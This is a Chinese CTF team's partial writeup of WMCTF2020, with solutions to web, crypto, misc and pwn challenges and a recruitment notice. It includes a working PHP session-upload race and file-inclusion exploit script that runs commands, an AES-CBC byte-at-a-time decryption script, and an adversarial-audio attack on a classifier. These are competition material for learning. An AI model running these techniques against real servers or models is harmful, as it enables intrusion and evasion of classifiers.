WMCTF2020 部分Writeup&招新帖

时间:2022-07-22
本文章向大家介绍WMCTF2020 部分Writeup&招新帖,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

写在最前

在这次的xctf分站赛-WMCTF2020中,Timeline Sec队内大部分师傅终于有空来玩,最终取得了第16名的成绩。在这个过程中我们不得不去反思队伍建设几个月以来产生的一些问题,所以决定再次开启全面招人的决定。希望有更多积极且愿意付出精力学习的师傅加入我们的队伍,向着更高的目标冲击。具体招新事项附在文末:


Web

1、web_checkin

直接传了个参数,就非预期了

2、Make PHP Great Again

本题利用session.upload_progress进行文件包含利用。

当我们上传文件时候,会生成临时文件存在在/tmp文件夹下。上传结束后,会删除文件,不过可以在文件清除之前进行文件包含。

当代码没有session_start()时候,还需要session.auto_start=On 配置来生成session。

最后生成文件的路径为/tmp/sess_+tls(我的sesssion id 值)

我们可以上传一句话在/tmp文件夹,生成session文件,结合require_once进行文件包含执行命令。

这里贴上脚本

#coding=utf-8
import io
import requests
import threading
sessid = 'tls'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024*3)
        resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tls.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=/tmp/sess_'+sessid,data=data)
        if 'tls.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

成功拿到flag

Crypto

1、Game

一个分组模式是 CBC 的 AES,其中初始 IV 已知,会给出 (输入值 + secret)加密后的结果。

关键点有二:

1.选择明文攻击,逐字节爆破

2.构造 IV

每组长度为 16,secret 长度为 48。先构造15 字节长度的已知明文,服务器加密后第一组只有最后一个字节即 secret 的第一位未知,记录此时的密文。然后爆破最后一位,让服务器加密 15 字节已知明文 + 1 字节欲爆破值,直到第一组的加密结果相同,得到一位 secret。然后构造 14字节明文,让服务器加密 14 字节已知明文 + 1 字节爆破出的 secert + 1 字节欲爆破值。以此类推,最多进行 256 * 48 = 12288 次交互可以得到 secret。

但是存在一个问题,CBC 模式中 aes 对象每次加密后的 IV 值都会变成最后一组的密文。我们想要爆破直到密文相同需要控制每次加密的 IV 值相同。因此需要记录每次服务器加密后最后一组的密文 test_IV,以及目标密文加密时的 target_IV,在每次爆破时,需要将构造好的明文的前 16 位 异或 target_IV 再 异或 test_IV,这样可以保证爆破时每次加密时的 IV 相同。

脚本如下:

from pwn import *
import string
import itertools
from hashlib import sha256
import re


def PoW(part, hash_value):
    for x in itertools.product(string.ascii_letters+string.digits, repeat=4):
        nonce = ''.join(x)
        if sha256(nonce+part).hexdigest() == hash_value:
            return nonce


def xor(a, b):
    assert len(a) == len(b)
    return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])


sh = remote('81.68.174.63', 16442)

s1 = sh.recvuntil('Give me XXXX:')
re_res = re.search(r'sha256(XXXX+([0-9a-zA-Z]{16})) == ([0-9a-z]{64})', s1)
part = re_res.group(1)
hash_value = re_res.group(2)
print 'part:%s hash:%s' % (part, hash_value)
nonce = PoW(part, hash_value)
print 'Find nonce: %s' % nonce
print 'PoW finish.'
sh.sendline(nonce)

s2 = sh.recvline().strip()
IV = s2[-32:].strip().decode('hex')
print 'IV: ', IV.encode('hex')
sh.recvline()
sh.recvline()
sh.recvline()
sh.recvline()

print 'Start guess secret...'
secret = ''
now_IV = IV
target_IV = IV

for padding_len in range(47, -1, -1):
    sh.sendline('1')
    sh.recvuntil('Your message (in hex): ')
    msg = 'x00' * padding_len
    sh.sendline(msg.encode('hex'))
    target_cipher = sh.recvline().strip().decode('hex')
    now_IV = target_cipher[-16:]
    for i in range(256):
        send_msg = msg + secret + chr(i)
        send_msg = xor(xor(send_msg[:16], target_IV), now_IV) + send_msg[16:]
        sh.sendline('1')
        sh.recvuntil('Your message (in hex): ')
        sh.sendline(send_msg.encode('hex'))
        test_cipher = sh.recvline().strip().decode('hex')
        now_IV = test_cipher[-16:]
        if  test_cipher[:48] == target_cipher[:48]:
            secret += chr(i)
            print '[%d/%d]' % (len(secret.encode('hex')) // 2, 48), secret.encode('hex')
            target_IV = test_cipher[-16:]
            break
print 'Guess finish'
print 'secret:', secret.encode('hex')

sh.sendline('2')
sh.recvuntil('Your guess (in hex): ')
sh.sendline(secret.encode('hex'))
flag = sh.recvline()
print flag

大约跑 12 分钟可以得到 flag:

Misc

1、sign-in

日常tg撒签到flag,提交就行

2、Music_game

题目说了语音操作坦克,那就照着地图,第一次speak发一次音,走到终点即可获得flag(早上起来背书之前看到了题目,成功之后匆忙没有截图,直接用手机拍的)

3、XMAN_Happy_birthday!

sctf那题肌肉男原题,压缩包里的压缩包hex倒置了,直接用脚本搞成正的hex

生成新的压缩包打开即可

4、Performance_artist

题目提示将flag以十六进制的手写形式储存在图片里,首先crc校验还原图片,得到:

很经典的机器学习数据集mnist和enist,到官网下载数据集,然后将数据集所有图片以每个像素点组成dict的key,构建字典,将恢复的图片分割并依次在字典中寻找:

from PIL import Image, ImageEnhance, ImageFilter
import io
import numpy as np
import struct
import os

# 图片切割
def segment(im):
    wid = 28
    up = 0
    down = 128
    im_new = []
    for i in range(23):
        for j in range(32):
            im1 = im.crop((wid * j, wid * i, wid * (j + 1), wid * (i+1)))
            # im1 = im.crop((wid * i, up, wid * (i + 1), down))  # 分4段
            im_new.append(im1)
    return im_new

def load_mnist_train(path, kind='train'):
    labels_path = os.path.join(path, '%s-labels.idx1-ubyte' % kind)
    images_path = os.path.join(path, '%s-images.idx3-ubyte' % kind)
    with open(labels_path, 'rb') as lbpath:
        magic, n = struct.unpack('>II', lbpath.read(8))
        labels = np.fromfile(lbpath, dtype=np.uint8)
    with open(images_path, 'rb') as imgpath:
        magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16))
        images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784)
    return images, labels

def load_mnist_test(path, kind='t10k'):
    labels_path = os.path.join(path, '%s-labels.idx1-ubyte' % kind)
    images_path = os.path.join(path, '%s-images.idx3-ubyte' % kind)
    with open(labels_path, 'rb') as lbpath:
        magic, n = struct.unpack('>II', lbpath.read(8))
        labels = np.fromfile(lbpath, dtype=np.uint8)
    with open(images_path, 'rb') as imgpath:
        magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16))
        images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784)
    return images, labels

def load_enist_train(path, kind='train'):
    labels_path = os.path.join(
        path, 'emnist-letters-%s-labels-idx1-ubyte' % kind)
    images_path = os.path.join(
        path, 'emnist-letters-%s-images-idx3-ubyte' % kind)
    with open(labels_path, 'rb') as lbpath:
        magic, n = struct.unpack('>II', lbpath.read(8))
        labels = np.fromfile(lbpath, dtype=np.uint8)
    with open(images_path, 'rb') as imgpath:
        magic, num, rows, cols = struct.unpack('>IIII', imgpath.read(16))
        images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784)
    return images, labels

def np2str(np_image):
    tmp = ''
    for i in np_image:
        tmp += hex(int(i))[2:]
    return tmp

def img2str(image):
    tmp = ''
    np_img = np.array(image).reshape(-1)
    for i in np_img:
        tmp += hex(int(i))[2:]
    return tmp

# print(len(img2str(segment(myimg)[4])))
# print(len(np2str(images[0])))
img_dic={}
images, labels=load_mnist_train('data')
for i in range(images.shape[0]):
    img_dic[np2str(images[i])]=labels[i]


letter_li = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
             'm', 'n', 'o', 'p', 'q', 'r','s', 't', 'u', 'v', 'w', 'x', 'y', 'z']

images, labels = load_enist_train('data/gzip', kind='train')
# print(labels[:100])
# exit()
# Image.fromarray(np.transpose(images[100].reshape(28,28))).show()
for i in range(images.shape[0]):
    img_dic[
        np2str(
            np.transpose(images[i].reshape(28, 28)).reshape(-1)
        )
    ] = letter_li[labels[i]-1]

file_name = 'all.png'
myimgs = segment(Image.open(file_name))

for tmpimg in myimgs:
    print(
        img_dic[img2str(tmpimg)],
        end=''
    )
# tmpimg=segment()
# tmpimg[0].save('test.jpg', 'jpeg')  # 保存

得到flag.zip的十六进制,使用winhex储存为zip,提示有密码,尝试伪加密破解,得到flag.txt:

Brainfuck解码,得flag:

5、Music_game_2

对抗样本题,对example.wav添加扰动,使对抗样本的置信度达到90%以上,要求扰动满足第一范式:

使用FGM攻击:

'''
当迭代次数为1时,是FGM攻击;不为1时则为修改版迭代攻击
'''

import numpy as np
import tensorflow as tf
from tensorflow.keras import utils
from tensorflow import keras
import librosa
import soundfile as sf

class_num = 4  # 总类别数

target_label = 3  # 目标类别


v_max_steps = 10  # 当迭代次数为1时,是FGSM攻击;否则为IFGSM攻击。
v_step_alpha = 20

def get_wav_mfcc(wav_path):
    y, sr = librosa.load(wav_path,sr=None)
    data=librosa.feature.mfcc(y,sr=sr)
    data=np.array(data)

    '''to unified format'''
    while len(data[0])>30:
        data=np.delete(data,-1,axis=1)
        data=np.delete(data,0,axis=1)
    while len(data[0])<30:< span="">
        data=np.insert(data,-1,values=data.T[-1],axis=1)
    return data.T

# def get_wav_mfcc(wav_path):
#     y, sr = librosa.load(wav_path, sr=None)
#     print(sr)
#     data = librosa.feature.mfcc(y, sr=sr)
#     data = np.array(data)

#     return data.T

def get_model():
    '''
    获取模型
    '''
    model = keras.models.load_model('model.h5')
    model.trainable = False  # 冻结模型参数
    # model.summary()
    return model

def loss_object(label, predict):
    return tf.keras.losses.categorical_crossentropy(label, predict)

def train_step(model, sample, label):
    '''
    计算梯度
    '''
    with tf.GradientTape() as tape:
        tape.watch(sample)
        predict = model(sample)
        loss = loss_object(label, predict)
    grad = tape.gradient(loss, sample)
    normed_grad = grad/tf.reduce_sum(tf.square(grad))
    return normed_grad

def target_attack(sample, model, target_label, max_steps, step_alpha):
    '''
    有目标梯度下降攻击,达到目标或者最大迭代值时停止

    注:此时的对抗样本没有进行可行域压缩

    返回:对抗样本, 一共进行的迭代次数i
    '''
    target_label = utils.to_categorical(target_label, class_num)

    for i in range(max_steps):
        signed_grad = train_step(model, sample, target_label)
        normed_grad = step_alpha * signed_grad
        sample = sample - normed_grad  # 有目标攻击时,梯度下降

        if np.argmax(target_label) == np.argmax(model(sample)):
            break
    return sample, i

def non_target_attack(sample, model, max_steps, step_alpha):
    '''
    无目标梯度下降攻击,达到目标或者最大迭代值时停止

    注:此时的对抗样本没有进行可行域压缩

    返回:对抗样本, 一共进行的迭代次数i
    '''
    target_label = np.argmax(model.predict(
        sample.numpy().reshape(1, 30, 20)))  # 先转化为numpy,否则会考虑batch_size而报错
    target_label = utils.to_categorical(target_label, class_num)

    for i in range(max_steps):
        signed_grad = train_step(model, sample, target_label)
        normed_grad = step_alpha * signed_grad
        sample = sample + normed_grad  # 无目标攻击时,梯度上升

        if np.argmax(target_label) != np.argmax(model(sample)):
            break
    return sample, i

if __name__ == '__main__':

    # sr = 16000
    sr=22050 
    sample = get_wav_mfcc('example.wav').reshape(1,30,20)

    # sample = sample.reshape(30,20).T
    # sample=librosa.feature.inverse.mfcc_to_audio(sample)
    # sf.write('left.wav' , sample,sr)
    # exit()

    sample = tf.Variable(sample, dtype=tf.float32)
    model = get_model()

    # ----有目标攻击
    sample_ea, iter_i = target_attack(
        sample, model, target_label, v_max_steps, v_step_alpha)

    result = model.predict(sample_ea)
    print()
    print('fgm攻击;真实:0', '攻击后:', np.argmax(result), '迭代次数:', iter_i+1)

    sample=librosa.feature.inverse.mfcc_to_audio(sample_ea.numpy().reshape(30, 20).T)
    sf.write('right.wav' , sample,sr)

    # ----无目标攻击
    # sample_ea, iter_i = non_target_attack(
    #     sample, model, v_max_steps, v_step_alpha)

    # result = model.predict(sample_ea)

    # print()
    # print('无目标攻击;真实:0', '攻击后:', np.argmax(result), '迭代次数:', iter_i+1)
    # sample=librosa.feature.inverse.mfcc_to_audio(sample_ea.numpy().reshape(30, 20).T)
    # sf.write('left.wav' , sample,sr)

由于原模型使用了mmfc特征提取,需要将得到的对抗样本还原为wav:

得到下、左、右三个方向的对抗样本wav后,加上example.wav就可以控制坦克走迷宫。

使用requests库将对抗样本按顺序提交给网站,注意一个session对应一个地图:

由于目标总是在右下角,直接无脑向右向下:

import requests


sess=requests.session()


url='https://game2.wmctf.wetolink.com:4432'


sess.get(url)


def tank_go(direct):
    files = {
        'upfile': open("{}.wav".format(direct), 'rb')
        }
    res=sess.post(url,files=files)
    




actions=[
    'up',
    'up',
    'left',
    'left',
    'down',
    'down',
    'down',
    'down',
    'right',
    'right',
    'right',
    'right',
    'up',
    'up',
    'right',
    'right',
    'down',
    'down',
    'down',
    'down',
    'right',
    'right',
    'up',
    'up',
    'right',
    'right',
    'right',
    'down',
    'down',
    'down',
    'down',
    'down',
    'down',
    'down',
    'down',
    'right',
    'right',
    'right',
    'right',
    'right',
    'right',
    'right',
    'right',
    'right',
]


for action in actions:
    tank_go(action)


res=sess.get(url)
print(res.text)

最后,坦克到达目的地,网页返回了flag:

6、feedback

填问卷得flag

PWN

1、mengyedekending

初步分析

下载完附件,发现是个windows程序,找到关键文件,baby_cat.exe,baby_cat.dll

IDA看看baby_cat.exe,发现没有什么特别的东西(字符串页面没有提示字符

猜测关键部分应该在dll文件中,接着用Exeinfo PE查一下壳,发现是.NET平台集成的32位程序

Dnspyx86打开,定位到关键函数(这里选择用C#查看)

代码不是很长,而且有个后门函数

接着分析从main函数开始分析,可以配合dnspy的动态调试功能(记得设置宿主程序),熟悉内存布局

开头设置了num=1

程序结尾当num!=1时,程序会执行后门函数

那么思路应该是想办法改变num的值

程序漏洞

主函数开头设置了一个ptr字符数组,限制了100个字节大小

然后创建了个ptr 2int型指针,并把地址设置成ptr+50

ptr2[2]设置为ptr的地址

接着注册了后门函数为Msghandler2

这个循环里面存在覆写ptr2[2]数据漏洞,循环次数虽然是53次,但是当我们输入'r'回车时,不会进入if(!flag2)的逻辑,这样ptr2[1]不会自增,而*ptr2一直在自增,前面也说了ptr2=ptr+50,因此只要构造得当,就能覆盖ptr2的数据

接着往下看,flag3这里并无问题,关键在于下面的红框代码 : ptr3=ptr2[2],然后输一个循环值num2ptr4=ptr3+i,然后ptr4自减1。联系前面说的ptr2[2]的值可以构造,我们可以构造ptr2[2]为num变量的地址或者附近利用下面这个循环达到自减1的目的,从而改变num的值

利用脚本

这里要注意一个点,因为给定程序是unicode编码模式,因此一个char字符是两个字节,所以我们伪造地址的时候不能直接输入,而是用decode("utf-16")转成unicode编码形式,从而避免无效地址的构造,同时脚本开头要加上编码申明(python2默认编码是ascii码,unicode编码无法识别)

附几张调试图

ptr和ptr2的内存位置

num变量在内存中位置以及值

初始状态下,ptr2[2]内存中存放的值(ptr)

Reverse

1、easy_re